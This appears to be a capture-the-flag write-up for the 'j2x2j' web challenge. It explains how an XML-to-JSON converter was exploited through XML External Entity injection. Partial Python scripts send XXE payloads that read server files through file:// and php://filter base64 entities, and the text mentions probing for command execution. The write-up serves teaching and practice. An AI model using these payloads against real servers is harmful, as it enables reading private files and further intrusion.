The page shows an input (left) to insert a JSON string; the webapp will just convert this string to a valid XML and viceversa. Obviously the JSON/XML string is validated before being converted.
From the JQuery’s call we can see that the server also accepts XML data to be converted into JSON. Let’s check if we can exploit this function using XML External Entity (XXE) injection.
Using a better payload:
Since the payload contains some special chars we url-encoded the string inside the xml parameter (Ctrl+U in Burp):
Since we can now read files from the file-system using a simple XXE Injection we checked if expected is installed and available to execute arbitrary commands, but no luck…
To improve the speed of the exfiltration phase we wrote a basic script:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
import requests import sys import json from base64 import b64decode
filename = sys.argv[1] url = "http://j2x2j.chal.ctf.westerns.tokyo/" payload = """<?xml version="1.0"?><!DOCTYPE data [<!ENTITY file SYSTEM "file://{}" >]><root><content>&file;</content></root>""" data = {"xml": payload.format(filename)}
Since the flag should be in the same directory of the index of the webapp we tried to exfiltrated /var/www/html/flag.txt but the server responded with: failed to decode xml. Even trying to extract index.php (which we know that exists from the default url of the challenge) we got the same result.
To double check the injection we tried some PHP wrapper to exfiltrated the data using base64 strings.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
import requests import sys import json from base64 import b64decode
filename = sys.argv[1] url = "http://j2x2j.chal.ctf.westerns.tokyo/" #payload = """<?xml version="1.0"?><!DOCTYPE data [<!ENTITY file SYSTEM "file://{}" >]><root><content>&file;</content></root>"""
payload = """<?xml version="1.0"?><!DOCTYPE data [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource={}"> ]><root><content>&xxe;</content></root>""" data = {"xml": payload.format(filename)}